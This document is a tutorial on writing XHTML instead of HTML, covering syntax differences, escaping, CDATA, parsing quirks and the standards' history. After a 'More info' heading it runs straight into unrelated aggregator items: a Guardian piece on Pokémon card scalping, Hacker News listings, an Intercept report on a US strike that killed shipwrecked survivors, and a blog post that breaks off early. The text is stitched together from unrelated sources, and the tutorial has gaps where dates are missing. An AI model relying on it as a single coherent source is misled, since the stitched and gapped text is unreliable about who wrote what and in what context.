How to use XHTML

You can treat this section as a checklist of things to do to write good XHTML code or convert existing HTML code.

Feature HTML behavior XHTML behavior
Media type ( MIME )

Must be “ text/html ”. Cannot use XHTML mode unless the code is polyglot.

Must be “ application/ xhtml+xml ” or “application/ xml”. Check this to be sure; it’s easy to accidentally continue serving a page as “text/html”, which silently disables error-checking and XML features.

Local filename extension

Must be “ .html ” or “.htm” (lazy). The web browser ascribes the content type “text/html” to the file.

Must be “ .xhtml ” or “.xht” (lazy) or “.xml”. The web browser ascribes the content type “application/xhtml+xml” to the file.

Character encoding

Several options:

  • HTML code in <head> : <meta charset="ISO-8859-1"> (HTML5)
  • HTML code in <head> : <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> (legacy)
  • HTTP response header: Content-Type: text/html; charset=ISO-8859-1

There is no standard default character encoding. If not explicitly declared, web browsers can behave differently.

Several options:

  • All XML documents are treated as UTF-8 by default. This is the best encoding anyway.
  • XML code at beginning of file: <?xml version="1.0" encoding="ISO-8859-1"?>
  • HTTP response header: Content-Type: application/xhtml+xml; charset=ISO-8859-1

Note that meta charset is ignored, but can be included for polyglot code.

XML namespaces

Unnecessary:

  • <html>
  • <svg>

Mandatory values:

  • <html xmlns="http://www.w3.org/1999/xhtml" >
  • <svg xmlns="http://www.w3.org/2000/svg" >
Void elements

Either self-closing or no end tag:

  • <br/>
  • <br> (incompatible with XHTML)

(Ditto for link , img , input , etc.)

Either self-closing or end tag:

  • <br/>
  • <br></br> (incompatible with HTML)

(Ditto for link , img , input , etc.)

Attribute values

Three choices:

  • <elem key="val">
  • <elem key='val'>
  • <elem key=val>

Two choices:

  • <elem key="val">
  • <elem key='val'>
Boolean attributes

Two choices:

  • <input type="checkbox" checked="checked">
  • <input type="checkbox" checked> (popular)

One choice:

  • <input type="checkbox" checked="checked">
Special characters

Often optional to escape, but safer to escape:

  • (4 < 9) , <a href="P&G">
  • (4 &lt; 9) , <a href="P&amp;G">

(However, special rules apply inside <style> and <script> .)

Always escape when outside of CDATA:

  • (4 &lt; 9) , <a href="P&amp;G">
Character entity semicolon

Sometimes optional:

  • 7 &times; 3 (proper)
  • 7 &times 3 (lazy)

Mandatory:

  • 7 &times; 3
Named character entities

Numeric available for all characters, plus rich palette for popular ones:

  • &#xA0; &#xE9; &#x2122; (hexadecimal)
  • &#160; &#233; &#8482; (decimal)
  • &nbsp; &eacute; &trade; (named)

Numeric available for all characters, but rich palette only available if using XHTML 1.0 DOCTYPE :

  • &#xA0; &#xE9; &#x2122; (hexadecimal)
  • &#160; &#233; &#8482; (decimal)
  • &nbsp; &eacute; &trade; (not always available)
Element/ attribute names

Case-insensitive:
<TABLE Class="a" iD="b"></tAbLe>

Always lowercase for features of (X)HTML:
<table class="a" id="b"></table>
(User-defined things can use uppercase.)
( <svg viewBox="..."> must be camel case.)

Style and script elements
  • Plain code (risky unescaped characters, incompatible with XHTML):

    <style>
      body { background: url(?a=b&c=d) }
    </style>
    <script>
      let z = false < true;
    </script>
    
  • Wrapped in an HTML comment (risky unescaped characters, incompatible with XHTML):

    <style>
      <!--
      body { background: url(?a=b&c=d) }
      -->
    </style>
    <script>
      <!--
      let z = false < true;
      // -->
    </script>
    
  • Rephrased to avoid HTML-special characters (safe, compatible with XHTML):

    <style>
      body { background: url("?a=b\000026c=d") }
    </style>
    <script>
      let z = true > false;
    </script>
    
  • Escaped code (safe, incompatible with HTML):

    <style>
      body { background: url(?a=b&amp;c=d) }
    </style>
    <script>
      let z = false &lt; true;
    </script>
    
  • Wrapped in CDATA (almost safe, incompatible with HTML):

    <style>
      <![CDATA[
      body { background: url(?a=b&c=d) }
      ]]>
    </style>
    <script>
      <![CDATA[
      let z = false < true;
      ]]>
    </script>
    
  • Wrapped in CDATA with inner comments (almost safe, compatible with HTML):

    <style>
      /*<![CDATA[*/
      body { background: url(?a=b&c=d) }
      /*]]>*/
    </style>
    <script>
      //<![CDATA[
      let z = false < true;
      //]]>
    </script>
    
CDATA sections

Feature unavailable. However, the text inside style and script elements behave mostly like the XML CDATA feature.

All characters are allowed between the opening <![CDATA[ and the closing ]]> , except for the 3-char sequence ]]> .

Note that ]]> is forbidden outside of CDATA sections, such in element text and attribute values. It should be escaped as ]]&gt; . It can also be escaped as &#x5D;&#x5D;&#x3E; . Or avoiding character entities, it can be represented by splitting across two CDATA sections like <![CDATA[... ]] ]]><![CDATA[ > ...]]> .

Comment blocks

Can contain extra double hyphens:
<!-- -- -- example -- -- -->

Must not contain extra double hyphens:
<!-- == == example - - -->

Element.innerHTML

Accepts arbitrary text and is parsed according to HTML rules and error correction:
document .querySelector("body") .innerHTML = "<b><i>X & Y < Z</b></i> ";

Must be a well-formed XML fragment:
document .querySelector("body") .innerHTML = "<b><i>X &amp; Y &lt; Z</i></b> ";

Element.tagName

Always uppercase:

<script>
let el = document.createElement("img");
console.log(el.tagName);  // "IMG"
</script>

Preserves the original case (and standard XHTML elements are in lowercase):

<script>
let el = document.createElement("img");
console.log(el.tagName);  // "img"
</script>

Example pages

An HTML web page that exercises a number of syntax features: (view) (download)

(... loading ...)

An XHTML web page that fixes the syntax errors, and looks/behaves essentially the same: (view) (download)

(... loading ...)

A minimal valid XHTML web page, which can be used as a starting template:

<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<title></title>
	</head>
	<body></body>
</html>

A basic XHTML web page that is polyglot-friendly with HTML5:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta charset="UTF-8"/>
		<title></title>
	</head>
	<body></body>
</html>

Advantages of XHTML

XML syntax

HTML is a one-of-a-kind language, and having knowledge of its intricate rules is not transferrable to other languages. By contrast, XHTML is an application of XML, which means it follows all the syntax rules defined by XML. XML is used in other data formats like SVG , MathML , RSS , configuration files, and more. You only need to learn XML syntax once, and it covers many technologies.

Advanced web developers will need to learn XML at some point in their careers. Even if you invest your career in HTML5, you cannot avoid XML in the long run. Whereas if you choose to use XHTML, you could get away with not having to learn the quirks of HTML syntax.

XML tools

Because XHTML is an XML data format, you can use generic XML tools and libraries to generate, manipulate, and parse such data. XHTML is also amenable to XML technologies like XSLT and embedding XML documents within another. Meanwhile, HTML is a unique technology with its own tools and tag-soup parsers, applicable to nothing but HTML.

Simpler syntax

In HTML, bare ampersands and less-than-signs are allowed in many but not all places, e.g.: (0 <= i && i < n) , <a href="example?abc=xyz&foo=bar"> . In XHTML, ampersands and less-than-signs must be escaped (except in CDATA blocks): (0 &lt;= i &amp;&amp; i &lt; n) , <a href="example?abc=xyz&amp;foo=bar"> .

In HTML, element and attribute names are case-insensitive: <HTML LaNg="en"><body></BODY></hTmL> . In XHTML, the predefined names are all in lowercase: <html lang="en"><body></body></html> .

In HTML, element attribute values have 3 syntax choices: <element aaa=NoQuotes bbb='single quotes' ccc="double quotes"> . In XHTML, only single quotes and double quotes are allowed.

In HTML, Boolean attributes can be written minimally like <button disabled> . In XHTML, all attributes must have values, and the conventional value of a Boolean attribute is the name itself, like <button disabled="disabled"> .

No optional start tags (implicit elements)

Coming from the days when HTML was defined as an SGML application with a rich DTD , HTML exhibits a number of surprising implicit behaviors. Some elements are implicitly inserted even when you don’t write their start tags. For example, this HTML code for a table:

<table>
    <tr>
        <td>Alpha</td>
        <td>Beta</td>
    </tr>
</table>

is interpreted as the following DOM tree in memory (which affects scripts and styling):

<table>
    <tbody>
        <tr>
            <td>Alpha</td>
            <td>Beta</td>
        </tr>
    </tbody>
</table>

As a more extreme example, this entire HTML document:

asdf

gets implicitly wrapped in a bunch of elements (and this behavior is standardized across all HTML5 browsers):

<html>
    <head></head>
    <body>asdf</body>
</html>

However in XHTML, elements are never implicitly added to the DOM tree – what you see is what you get; the written code matches the machine’s interpretation.

No optional end tags (forbidden nesting)

HTML simultaneously defines some elements as having optional closing tags and disallows some combinations of nested elements. For example, a paragraph will terminate another – this code:

<p>The quick brown fox
<p>jumps over the lazy dog

is interpreted as:

<p>The quick brown fox</p>
<p>jumps over the lazy dog</p>

Similarly, <li> and <td> will close the previous one. But HTML’s rules make it impossible to nest a <div> inside of <p> , because this:

<p><div>Hello</div></p>

is actually interpreted as:

<p></p>
<div>Hello</div>
<p></p>

which is a gross mangling of the coder’s intent. It is still possible to put <div> into <p> via XHTML or JavaScript.

No special error correction

In HTML, these two examples of unclosed tags:

<p><span>One</p>
<p>Two</p>
<p>Three</p>

<p><em>Four</p>
<p>Five</p>
<p>Six</p>

get interpreted differently like this:

<p><span>One</span></p>
<p>Two</p>
<p>Three</p>

<p><em>Four</em></p>
<p><em>Five</em></p>
<p><em>Six</em></p>

This means that if you forget to close some types of tags, they could keep replicating until the end of the document. Both examples above are syntax errors in XHTML and will not be corrected implicitly.

No special void elements

Some elements in HTML are defined as void/ empty, which means they never have an end tag and cannot contain any child elements or text. The misuse of void elements causes divergent behavior. For example, <br>test</br> results in the DOM tree <br/>test<br/> (the </br> becomes a standalone <br> ); but <img src="jkl">0123</img> yields <img src="jkl"/>0123 (the </img> is deleted).

Here’s another example where structurally similar pieces of HTML code are interpreted differently, because <span> is not a void element but <track> is a void element:

<div>
	<span>
	<span>
</div>

<video>
	<track>
	<track>
</video>

becomes the DOM tree:

<div>
    <span>
        <span>
        </span>
    </span>
</div>

<video>
    <track/>
    <track/>
</video>

XHTML has no special treatment for void elements, or any element for that matter. Writing <br/> or <br><br/> will always behave the same. You can also self-close things like <div/> , which is not allowed in HTML (must be written as <div></div> ).

No special text for styles and scripts

In HTML, the text inside of <style> and <script> elements are treated specially in a number of ways. For compatibility with ancient browsers, wrapping the text in an HTML comment does not affect the interpretation:

<style>
    <!--
    html { font-family: sans-serif; }
    -->
</style>

<script>
    <!--
    alert("Bonjour");
    // -->
</script>

Furthermore, tag-like pieces of text (other than the end tag) are treated as raw text, not child elements:

<script>
    elem.innerHTML = "<i>Note</i>";
    var b = 0;
    console.log(1<b>2);
</script>

XHTML has no such special treatment for <style> and <script> elements. Characters need to be escaped properly. Commenting out the text will disable it. Having child elements is allowed but probably never what you want. The best practice is to use CDATA:

<script>
    <![CDATA[
    while (i < n && foo()) { ... }
    ]]>
</script>
Bounded errors

Once upon a time, I saw an HTML page where someone listed all the articles of their blog. They used a combination of div and span elements, not ul and li , so no implicit end tags could be inserted. Anyway, for each blog item, they forgot to close a <div> element, so the nesting of DOM nodes kept getting deeper and deeper. At some point in the document, after reaching a depth of perhaps a thousand nodes, my browser gave up and just ignored all tags from that point on, only keeping the text content (i.e. anything not surrounded by angle brackets). The result was that the bottom of the rendered page was a mass of text with no line breaks or formatting. This problem could have been caught much earlier and more easily had the author used XHTML.

Ubiquitous support

XHTML is fully supported by all the major web browsers for over a decade, like Google Chrome, Mozilla Firefox, Apple Safari, Microsoft Edge, and Microsoft Internet Explorer 9+. You can’t use a lack of compatibility as an excuse to avoid considering XHTML as a technology.

Debugging

You can use XHTML mode as a tool to check HTML code quality without unleashing it in the real world. This can help you detect non-obvious unclosed elements, garbage syntax that got silently skipped/ corrected, and risky characters that should have been escaped (primarily < and & ). You can write polyglot code so that it passes XHTML syntax checks but still yields the same document content when parsed in HTML mode.

Disadvantages of XHTML

Thoroughly unpopular

After the W3C ’s vision of XHTML failed to replace HTML on the web, the conversation around XHTML faded out. Hardly any articles/ tutorials/ etc. mention XHTML anymore, and those that do are often outdated (like from year ). Few people use XHTML technology in practice, which means few can teach how to use it and troubleshoot problems. Hence, XHTML is caught in a vicious cycle where the lack of adoption is self-perpetuating.

Unfamiliar strictness

For the longest time, the basic triad of web technologies – HTML, CSS , JavaScript – has been extremely forgiving toward syntactic and semantic errors as compared to more traditional machine languages (XML, Java, Python, etc.). Most commonly, erroneous elements in HTML/ CSS/ JS are either skipped (e.g. unknown tags) or fixed (e.g. forgot to close a tag). The web development community has propagated this mindset of non-strict syntax through actual code in the real world, the tone and content of tutorial materials, and the lack of talk about detecting and fixing errors. So, XHTML’s very strict syntactic requirements fly in the face of this culture of tolerance and might require some getting used to.

To be more specific, browsers exhibit a few behaviors when encountering an XML syntax error. Mozilla Firefox is the strictest, giving a “yellow screen of death” that shows nothing but the piece of code in error and its character position in the file/ stream. Google Chrome is somewhat more forgiving, rendering the contents of the document up until the error (i.e. a prefix), along with a syntax error message like Firefox. In either case, the error is hard to ignore, and the author must fix it to make the page fully functional. In contrast to this draconian erroring, parsing a page in HTML mode can never experience a fatal error, but the resulting interpretation of the content could be anywhere from subtly to grossly wrong.

No document.write()

Back in the 2000s, JavaScript code often used document.write() to add HTML elements to a page (for actual content) or dump some text for debugging. This is no longer possible in XHTML because the JavaScript engine is no longer allowed to inject text into the XML document parser. The advantage is that it decouples XML from JavaScript: A document parser doesn’t require a JavaScript engine, and parsing can always finish in a finite amount of time (whereas JS code is undecidable). The workaround for document.write() is to instead manipulate a document through the DOM API (available for both HTML and XHTML).

Hard to use in existing frameworks

Writing XHTML code from scratch by hand is not hard at all. Retrofitting an existing application software – say a web forum – to XHTML is a significant undertaking. Converting a large platform like WordPress, along with its marketplace of third-party content like plug-ins and themes, is essentially impossible.

I have suspicions that web frameworks like Django, Ruby on Rails, etc. come with many components that generate or manipulate HTML content, but you end up reimplementing things from scratch if you want to do XHTML instead. Similarly, I believe there exist many templating engines and mini-languages out there that cater to HTML but work poorly for XHTML.

Some third-party problems

I personally encountered these issues at some point in time, and they might persist to the present day:

  • If a web page is in XHTML mode and uses Google AdSense’s JavaScript library, it fails to display advertisements.

  • If a web page is in XHTML mode and uses Stripe Checkout’s JavaScript library, the functionality fails.

  • If you go on LinkedIn and post a link to a web page that is served in XHTML mode, then LinkedIn fails to render a preview (text and image) for that link.

  • If the Internet Archive Wayback Machine saved a web page that was served in XHTML mode around year , then it injects some elements and scripts into the page in a syntactically erroneous way, such that the user sees a completely broken archived page when trying to view it.

Notes

Continuous verification

In the early 2000s, it was popular to run your HTML code through the W3C Validator service to check the overall syntax and element attributes, allowing you to fix errors that your browser didn’t tell you about. Presumably this practice helped to prepare a transition to XHTML, but the transition never came, and people gradually stopped doing or discussing code verification. Thankfully, if you serve your web pages in XHTML mode, then the strict XML parsing serves as a basic layer of mandatory verification that ensures your code is at least syntactically well-formed.

Polyglot code

It’s possible to write markup code that heavily relies on XHTML/XML features and breaks subtly or badly when parsed in HTML mode. This works with all modern web browsers for many years now, and 90+% of users will see everything perfectly. But coding this way can shut out very old browsers as well as headless tools like bots/ spiders/ crawlers/ analyzers/ archivers that might be unaware that there exist fringes of the web that are not tag-soup HTML. Also, some libraries or services that you (the developer/ designer) may choose to use might be broken for XHTML mode, thus forcing you to use HTML. For these reasons, it’s a good idea to write polyglot code that works correctly even when served as the text/html media type and parsed as HTML, so that you can always revert to that mode as a last-ditch solution.

Non-polyglot code

If you are happy with HTML5 and the HTML syntax, then don’t bother writing polyglot code. I see many web pages with code like <link ... /> , which I assume was mindlessly copied from tutorials that mindlessly copied best-practice recommendations from many years ago. I interpret this as a form of cargo-culting because these developers probably haven’t heard of XHTML before, and likely have no intention to switch the content type to application/ xhtml+xml.

Document type declarations

HTML5 documents in HTML mode must have the DOCTYPE of <!DOCTYPE html> . Older versions such as HTML 4.01 had longer and more intricate DOCTYPEs, whose functionality interacted with full-blown SGML parsers.

HTML5 documents in XHTML mode ignore the DOCTYPE because that’s the nature of XML parsing. Declaring <!DOCTYPE html> is fine for polyglot purposes. The old XHTML 1.0 and related versions had a bunch of DOCTYPEs available, but they are no longer relevant.

HTML round-trip alteration

There are many DOM trees that, when serialized as HTML code and reparsed in HTML mode, cannot recreate the original DOM tree. For example, the tree <p><div></div></p> can be serialized (by reading Element.innerHTML ) into the code “ <p><div></div></p> ”, which can be parsed (by writing Element.innerHTML ) into the tree <p/><div/><p/> . This shouldn’t be too surprising because the HTML parser forbids certain kinds of nesting such as div in p .

This train of thought goes further, though. There exists at least one piece of HTML code C 0 such that if you parse C 0 into the DOM tree T 0 , then serialize T 0 into the HTML code C 1 , then parse C 1 into the DOM tree T 1 , the trees T 0 and T 1 are different. Because of this fact, trying to “sanitize” HTML code by running it through some cycle(s) of parsing and serialization might not catch the fragments of elements that you wish to disallow. On the other hand, XHTML (and XML in general) is round-trip-safe and has consistent and reasonable rules for parsing and serialization, so it is easy to devise a correct algorithm to sanitize such code.

SVG code in HTML

Although HTML treats self-closing tags as just start tags, the distinction is important when embedding an XML format like SVG or MathML into HTML. For example, this code:

<html><body>
    <svg>
        <rect>
        <rect>
    </svg>
    <svg>
        <circle/>
        <circle/>
    </svg>
</body></html>

is interpreted as:

<html><body>
    <svg>
        <rect>
            <rect>
            </rect>
        </rect>
    </svg>
    <svg>
        <circle></circle>
        <circle></circle>
    </svg>
</body></html>

In contrast, embedding SVG in XHTML just requires setting the xmlns on the svg element, and then all the other syntax behaves the same because both formats are based on XML.

History

Although I didn’t experience much of this history personally and can’t offer a super-detailed story, there should be enough mentioned here to let you search relevant topics like SGML and read more deeply into them. The Wikipedia pages on these topics provide a tremendous amount of detail already.

In order to understand HTML, we must acknowledge its parent, SGML – the Standard Generalized Markup Language. SGML is what gave us the familiar <start> and </end> tags, as well as attributes, character entities, and comments. I presume that back in the day, SGML was used internally within organizations as a way to represent structured textual data as well as rich text documents.

HTML was designed as an application of SGML, which means defining a set of tags and attributes and semantics, and also implementing the common rules and features prescribed by SGML. HTML was supposed to be parsed with an SGML parser, which would support all sorts of features like document type definitions (DTDs), omitted tags, null end tags, and more. But instead, it seemed that web browsers throughout history never implemented SGML fully; instead, they had ad hoc and incompatible parsers that didn’t handle all types of correct HTML code or incorrect code with any consistency. The result was that in practice, HTML was never treated as a form of SGML, nor was it even a standard – it was just a hodgepodge of whatever features and bugs the major browser vendors supported at any point in time.

HTML debuted in the early 1990s and evolved quickly in its first couple of years. The community defined the major versions 2 (first public standard), 3, and 4, along with a few minor versions. These versions changed the set of tags and attributes (mostly adding to them in a backward-compatible way) while retaining the basic SGML syntax.

Within a few years of HTML’s release, the generic language known as XML was created by drastically simplifying SGML into a small set of features. New data formats started using XML as their basis, and the World Wide Web Consortium (W3C) decided that the future of HTML would also be based on XML syntax instead of SGML (or ad hoc parsing). The first version of HTML based on XML was XHTML 1.0, which was essentially HTML 4.01 with a handful of tiny syntactical tweaks but no change in elements/ attributes/ semantics. Some later versions of XHTML added features without much problem, but XHTML 2 was a proposal that radically reorganized existing features in an incompatible way, and to the best of my knowledge, no major software ever implemented it.

Although the W3C was hard at work proposing and revising the XHTML standard for about a decade, in the end the effort was largely wasted. Web browser vendors grew weary at the W3C’s lack of practical progress, and formed their own group ( WHATWG ) in order to advance HTML 4 into HTML5 in a backward-compatible way. Despite the colossal failure of the original XHTML standards from the W3C that drove into a dead end, miraculously the WHATWG quietly acknowledged the XML syntax in a small section of the HTML5 standard, and all browser vendors actually implemented the necessary code so that XHTML documents can use all the features available in HTML5.

Incidentally, HTML5 changed the way that HTML (not XML/XHTML) code is parsed. The standard finally capitulated to these pragmatic facts: Almost all HTML code out in the wild is malformed (whether lightly or heavily), web browsers want to handle errors in a lenient way, and browser makers have no desire to implement the full set of SGML features. To those ends, HTML5 is now defined as a unique snowflake language not based on SGML, it doesn’t support any SGML features that weren’t explicitly included, and error handling is standardized so that all browsers interpret malformed code in the same way (unlike the free-for-all in the past).

More info

Reimagining Philanthropy w/ Chris Landry and Maribel Morey

OrganizingUp
convergencemag.com
2025-12-08 11:00:00
Producer and director Chris Landry's new film series Reimagining Philanthropy critically examines the issue of philanthropy as the financial driver of movement and social justice work, and how movement leaders believe it can be fixed. Joining Chris is historian of US philanthropy and the author of W...

‘Kids can’t buy them anywhere’: how Pokémon cards became a stock market for millennials

Guardian
www.theguardian.com
2025-12-08 10:00:37
A surprising economic bubble is making it hard for anyone to buy Pokémon cards – especially children Pokémon has been huge since the late 90s. Millions of people have fond memories of playing the original Red and Blue games, or trading cards in the playground for that elusive shiny Charizard (if you...
Original Article

P okémon has been huge since the late 90s. Millions of people have fond memories of playing the original Red and Blue games, or trading cards in the playground for that elusive shiny Charizard (if your school didn’t ban them). The franchise has only grown since then – but, where the trading cards are concerned, things have taken an unexpected and unfortunate turn. It’s now almost impossible to get your hands on newly released cards thanks to an insane rise in reselling and scalping over the past year.

Selling on your old cards to collectors has always been part of the hobby, and like baseball cards or Magic: The Gathering, Pokémon cards can sometimes go for thousands of pounds. However, the resale market for Pokémon has climbed so high that even new cards are valued at hundreds, before they’ve even been released. The latest set, Phantasmal Flames, had a rare special illustration Charizard that was being valued at more than £600 before anyone had even found one. When a pack of cards retails at about £4, there’s a huge potential profit to be had.

This has led to a speculative stock market developing around the card game with adults snapping up all of the cards they can get their hands on, making it impossible for kids, who may actually want to collect them or play the game associated with the cards, to get their hands on it.

Online, via retailers such as Amazon, you can only request to buy Pokémon cards, after which everyone is entered into an opaque raffle for the chance to buy them. In the real world, meanwhile, resellers will queue for hours outside shops, hover around shelves as they’re being restocked and buy up every item before anyone else can see it – all just to buy boxes that are often kept sealed for later resale.

“My staff have had customers threatening to come back and rip their heads off,” says Ben Thyer, owner of BathTCG – an independent shop specialising in trading card games. “It’s become quite unpleasant at times. I’ve heard of other stores where people have been attacked or there have been robberies. We’ve even seen people who buy our products and list them immediately on Facebook, while still in our carrier bags, or sell it right outside the shop. We’re even anxious to put stuff on the shelf for the public because we just don’t want to entice that sort of behaviour. We used to sell whole boxes of booster packs but now we’ve had to stop doing that, and even place limits on the individual packs.”

Man stands at counter in shop with games behind and a Pokémon stuffed toy in front
‘My staff have had customers threatening to come back and rip their heads off’ … Ben Thyer, owner of BathTCG. Photograph: Daniella Lucas

Finley Pink, from Keynsham, travelled to BathTCG to arrive almost two hours before opening time to secure some cards at the recent launch of the Phantasmal Flames set. He was first in a line of 40 people. “This is the first set I’ve arrived early for, as I’ve been unable to get cards at other times. It’s a real struggle to find them,” he tells us. “Scalpers are making it impossible to find cards. It’s crazy and YouTubers talking up the money are making things even crazier!”

Adding to the issue of scalpers is the popularity of YouTubers and TikTok influencers recording themselves opening packs, flicking through the contents at mesmerising speed, and listing the card values as they go, exaggerating reactions when they find a “hit”. Common cards are discarded, and only high-value cards matter. The joy of collecting or playing for fun is no longer the point – it’s all about maximising “value”.

Pete Sessions, a project manager from Bristol, attended a Pokémon play night at the shop with his son Alfie and is concerned about influencers’ impact on the hobby for his child. “He’s been into Pokémon for a few years, but just got into collecting the cards over the past six months – I’ve had to ask shops when their stock drop days are just to try to find some,” he tells us. “Alfie watches YouTubers and he’s become very aware of the ‘value’ of cards. I’m worried about the perception that it’s easy to make loads of money, when that probably isn’t the case.”

“People are opening these amazing cards on stream, but you don’t know how many thousands of packs they’ve probably gone through, or how much money they’ve spent,” adds Thyer. “So then they feed you the good stuff – that dopamine hit – and you think: ‘Oh, I can do that!’ And then you spend a silly amount of money hoping to get one hit.”

The hype around potentially making hundreds of pounds by just opening a pack of cards has resulted in a volatile market, to the point that people now use apps such as Collectr to track their card portfolio for price rises and falls. It’s also led to devious practices such as selling fake cards, or opening and resealing packs after swapping out any rare cards.

skip past newsletter promotion
Stack of boxes of cards
The latest set of Pokémon cards, Phantasmal Flames. Photograph: Daniella Lucas

And that’s all before the added layer of the card-grading industry comes into play. Cards can be sent to independent organisations, who rate and seal cards to potentially increase their value, depending on the grade they’re given. Card shows have now become a staple up and down the country, where hobbyists looking for their favourite cards are surrounded by those making trade deals worth, sometimes, tens of thousands.

Despite the fact that The Pokémon Company printed 10.2bn cards in the year to March 2025, they’re still struggling to keep up with demand. When approached for comment, it shared a statement from seven months ago , saying that the company is “actively working to print more of the impacted Pokémon TCG products as quickly as possible and at maximum capacity”.

Fortunately there are signs that the reseller market is starting to correct itself as more supply for older sets has started to trickle back on to shelves. “There are signs of the market cracking – prices of singles are coming down, sealed products are coming down. People aren’t as ferocious as they once were,” Thyer says. “There’s also a lot of people now thinking, ‘Christmas is soon and I need some money because I’ve not made what I was hoping for [from reselling cards]’. So we’ll see it dip, but then early 2026 brings Pokémon’s 30th anniversary, so I think we’ll see another crazy period.”

While many shops have now adjusted booster pack pricing to reflect their perceived value and make the most of the Pokémon card boom, BathTCG refuses to give into that temptation. “We won’t do it to our customers,” Thyer says. “It’s hard as a business owner to say, ‘I don’t want to make more money’, but I don’t want to be another one of those shops remembered for scalping. Once the bubble bursts and everything goes back to normal, hopefully people will remember that we protected our community and looked after our players – that we ensured our local customers got cards at reasonable prices.”

Flow: Actor-based language for C++, used by FoundationDB

Hacker News
github.com
2025-12-08 13:08:38
Comments...

Nango (YC W23) is hiring back-end engineers and dev-rels (remote)

Hacker News
jobs.ashbyhq.com
2025-12-08 12:01:13
Comments...

Show HN: Web app that lets you send email time capsules

Hacker News
resurf.me
2025-12-08 11:37:22
Comments...
Original Article

You write something down.
It's wonderful.
But you never look at it again.

a time
capsule
for your
thoughts

Your notes , ideas , insights , letters will pop up in your email, when you want it back.

Get Started

This is NOT:

  • a TODO app
  • a journal
  • a second brain
  • or INSERT YOUR PRODUCTIVITY SYSTEM HERE...

Resurf is focused on the mid-term. Not things you need to do today, and not things you need to do years later.

So what excites you?

What don't you want to forget?

When it's time, your thought arrives in your inbox—simple and beautiful.

Resurf is free to use during the beta period.

Frank Lu

Built by Frank Lu in Tokyo 🗼
Questions? Shoot me an email at frank@resurf.com

Survivors Clung to Wreckage for Some 45 Minutes Before U.S. Military Killed Them

Hacker News
theintercept.com
2025-12-08 11:27:38
Comments...
Original Article

Two survivors clung to the wreckage of a vessel attacked by the U.S. military for roughly 45 minutes before a second strike killed them on September 2. After about three quarters of an hour, Adm. Frank Bradley, then head of Joint Special Operations Command, ordered a follow-up strike — first reported by The Intercept in September — that killed the shipwrecked men, according to three government sources and a senior lawmaker.

Two more missiles followed that finally sank the foundering vessel. Bradley, now the chief of Special Operations Command, claimed that he conducted multiple strikes because the shipwrecked men and the fragment of the boat still posed a threat, according to the sources.

Secretary of War Pete Hegseth distanced himself from the follow-up strike during a Cabinet meeting at the White House, telling reporters he “didn’t personally see survivors” amid the fire and smoke and had left the room before the second attack was ordered. He evoked the “fog of war” to justify the decision for more strikes on the sinking ship and survivors.

Rep. Adam Smith, D-Wash., the ranking member of the House Armed Services Committee, said Hegseth provided misleading information and that the video shared with lawmakers Thursday showed the reality in stark light.

“We had video for 48 minutes of two guys hanging off the side of a boat. There was plenty of time to make a clear and sober analysis,” Smith told CNN on Thursday. “You had two shipwrecked people on the top of the tiny little bit of the boat that was left that was capsized. They weren’t signaling to anybody. And the idea that these two were going to be able to return to the fight — even if you accept all of the questionable legal premises around this mission, around these strikes — it’s still very hard to imagine how these two were returning to any sort of fight in that condition.”

Three other sources familiar with briefings by Bradley provided to members of the House Permanent Select Committee on Intelligence and the Senate and House Armed Services committees on Thursday confirmed that roughly 45 minutes elapsed between the first and second strikes. “They had at least 35 minutes of clear visual on these guys after the smoke of the first strike cleared. There were no time constraints. There was no pressure. They were in the middle of the ocean and there were no other vessels in the area,” said one of the sources. “There are a lot of disturbing aspects. But this is one of the most disturbing. We could not understand the logic behind it.”

The three sources said that after the first strike by U.S. forces, the two men climbed aboard a small portion of the capsized boat. At some point the men began waving to something overhead, which three people familiar with the briefing said logically must have been U.S. aircraft flying above them. All three interpreted the actions of the men as signaling for help, rescue, or surrender.

“They were seen waving their arms towards the sky,” said one of the sources. “One can only assume that they saw the aircraft. Obviously, we don’t know what they were saying or thinking, but any reasonable person would assume that they saw the aircraft and were signaling either: don’t shoot or help us. But that’s not how Bradley saw it.”

Special Operations Command did not reply to questions from The Intercept prior to publication.

During the Thursday briefings, Bradley claimed that he believed there was cocaine in the quarter of the boat that remained afloat, according to the sources. He said the survivors could have drifted to land or to a rendezvous point with another vessel, meaning that the alleged drug traffickers still had the ability to transport a deadly weapon — cocaine — into the United States, according to one source. Bradley also claimed that without a follow-up attack, the men might rejoin “the fight,” another source said.

Sen. Tom Cotton, R-Ark., echoed that premise, telling reporters after the briefings that the additional strikes on the vessel were warranted because the shipwrecked men were “trying to flip a boat, loaded with drugs bound for the United States, back over so they could stay in the fight.”

None of the three sources who spoke to The Intercept said there was any evidence of this. “They weren’t radioing anybody and they certainly did not try to flip the boat. [Cotton’s] comments are untethered from reality,” said one of the sources.

Sarah Harrison, who previously advised Pentagon policymakers on issues related to human rights and the law of war, said that the people in the boat weren’t in any fight to begin with. “They didn’t pose an imminent threat to U.S. forces or the lives of others. There was no lawful justification to kill them in the first place let alone the second strike,” she told The Intercept. “The only allegation was that the men were transporting drugs, a crime that doesn’t even carry the death penalty.”

The Justice Department’s Office of Legal Counsel this summer produced a classified opinion intended to shield service members up and down the chain of command from prosecution. The legal theory advanced in the finding claims that narcotics on the boats are lawful military targets because their cargo generates revenue, which can be used to buy weaponry, for cartels whom the Trump administration claims are in armed conflict with the U.S.

The Trump administration claims that at least 24 designated terrorist organizations are engaged in “non-international armed conflict” with the United States including the Venezuelan gang Tren de Aragua; Ejército de Liberación Nacional, a Colombian guerrilla insurgency; Cártel de los Soles, a Venezuelan criminal group that the U.S. claims is “headed by Nicolas Maduro and other high-ranking Venezuelan individuals”; and several groups affiliated with the Sinaloa Cartel.

The military has carried out 22 known attacks, destroying 23 boats in the Caribbean Sea and eastern Pacific Ocean since September, killing at least 87 civilians . The most recent attack occurred in the Pacific Ocean on Thursday and killed four people.

Since the attacks began, experts in the laws of war and members of Congress, from both parties , have said the strikes are illegal extrajudicial killings because the military is not permitted to deliberately target civilians — even suspected criminals — who do not pose an imminent threat of violence.

The Internet forgets, but I don’t want to

Lobsters
alexwlchan.net
2025-12-08 10:53:43
Comments...
Original Article

I grew up alongside social media, as it was changing from nerd curiosity to mainstream culture. I joined Twitter and Tumblr in the early 2010s, and I stayed there for over a decade. Those spaces shaped my adult life: I met friends and partners, found a career in cultural heritage, and discovered my queer identity.

That impact will last a long time. The posts themselves? Not so much.

